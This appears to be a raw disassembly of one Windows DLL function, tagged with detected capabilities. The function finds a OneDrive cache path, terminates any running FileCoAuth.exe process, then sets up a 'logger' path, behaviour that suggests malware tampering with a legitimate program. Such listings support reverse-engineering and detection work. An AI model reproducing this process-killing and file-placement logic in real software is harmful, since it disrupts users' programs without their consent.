Function at 0x10003890
Capabilities:
Enumerate processes
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100089c6
mov eax, dword fs:[0]
push eax
sub esp, 0x2d0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x78]
mov dword [ebp - 4], 0
push eax
push 0
push 0
push 0x100091c0
mov dword [ebp - 0x78], 0
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov edx, dword [ebp - 0x78]
mov ecx, edx
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10003900
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x2c]
call fcn.10002a00
mov byte [ebp - 4], 1
push dword [ebp - 0x78]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x2c4]
call fcn.10002200
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x18]
cmp ecx, 8
jb 0x10003974
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000396a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1000396a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100078b8
add esp, 8
xor eax, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x2b0]
mov eax, edx
mov ecx, dword [ebp - 0x2b4]
sub eax, ecx
push 0x19
push str.MicrosoftOneDrivecache
cmp eax, 0x19
jb 0x100039d8
cmp edx, 0x10
lea esi, [ebp - 0x2c4]
lea eax, [ecx + 0x19]
cmovae esi, dword [ebp - 0x2c4]
add esi, ecx
mov dword [ebp - 0x2b4], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x19], 0
lea eax, [ebp - 0x2c4]
jmp 0x100039f2
mov byte [ebp - 0x2a8], 0
lea ecx, [ebp - 0x2c4]
push dword [ebp - 0x2a8]
push 0x19
call fcn.10001d50
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x44], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x34], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x2b0]
cmp ecx, 0x10
jb 0x10003a69
mov edx, dword [ebp - 0x2c4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10003a5f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10003a5f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100078b8
add esp, 8
mov byte [ebp - 0x2a8], 0
lea edx, [ebp - 0x44]
push dword [ebp - 0x2a8]
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x2b4], 0
mov dword [ebp - 0x2b0], 0xf
mov byte [ebp - 0x2c4], 0
call fcn.10004080
add esp, 4
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 5
call fcn.10007060
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x18]
mov byte [ebp - 0x2a9], al
cmp ecx, 8
jb 0x10003af7
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10003ae7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10003ae7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100078b8
mov al, byte [ebp - 0x2a9]
add esp, 8
test al, al
je 0x10003c4b
push 0
push 2
mov dword [ebp - 0x2a4], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x2a4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x10003bc7
lea eax, [ebp - 0x2a4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x10003bc7
nop dword [eax]
nop word [eax + eax]
mov ecx, str.FileCoAuth.exe
lea eax, [ebp - 0x280]
nop dword [eax + eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x10003b86
test dx, dx
je 0x10003b82
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x10003b86
add eax, 4
add ecx, 4
test dx, dx
jne 0x10003b60
xor eax, eax
jmp 0x10003b8b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10003bb4
push dword [ebp - 0x29c]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10003bb4
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x2a4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x10003b50
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 4
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
call esi
mov byte [ebp - 0x2a8], 0
lea edx, [ebp - 0x44]
push dword [ebp - 0x2a8]
lea ecx, [ebp - 0x2c]
call fcn.10004080
add esp, 4
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 8
call fcn.10005ad0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x18]
cmp ecx, 8
jb 0x10003c51
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10003c3f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10003c3f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100078b8
add esp, 8
jmp 0x10003c51
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push str.logger
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0x5c]
call fcn.10001980
add esp, 4
mov byte [ebp - 4], 9
lea edx, [ebp - 0x5c]
mov byte [ebp - 0x2a8], 0
lea ecx, [ebp - 0x2dc]
push dword [ebp - 0x2a8]
call fcn.10004080
add esp, 4
lea ecx, [ebp - 0x2dc]
mov byte [ebp - 4], 0xa
call fcn.100047b0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x2c8]
cmp ecx, 8
jb 0x10003cdb
mov edx, dword [ebp - 0x2dc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x10003cd1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10003cd1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100078b8
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x5c]
mov ecx, esp
push eax
call fcn.10002890
lea ecx, [ebp - 0x74]
call fcn.10002fe0
add esp, 0x18
sub esp, 0x18
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x74]
mov ecx, esp
push eax
call fcn.10002890
call fcn.10002d80
add esp, 0x18
push 0x3e8
call esi
sub esp, 0x18
lea eax, [ebp - 0x5c]
mov ecx, esp
mov dword [ebp - 0x2a8], esp
push eax
call fcn.10002890
sub esp, 0x18
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x74]
mov ecx, esp
push eax
call fcn.10002890
mov byte [ebp - 4], 0xb
call fcn.10003670
mov ecx, dword [ebp - 0x60]
add esp, 0x30
cmp ecx, 0x10
jb 0x10003d7b
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10003d71
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003df5
push ecx
push edx
call fcn.100078b8
add esp, 8
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], 0
cmp ecx, 0x10
jb 0x10003dbd
mov edx, dword [ebp - 0x5c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10003db3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003df5
push ecx
push edx
call fcn.100078b8
add esp, 8
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], 0
cmp ecx, 0x10
jb 0x10003e05
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10003dfb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10003dfb
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100078b8
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100078aa
mov esp, ebp
pop ebp
ret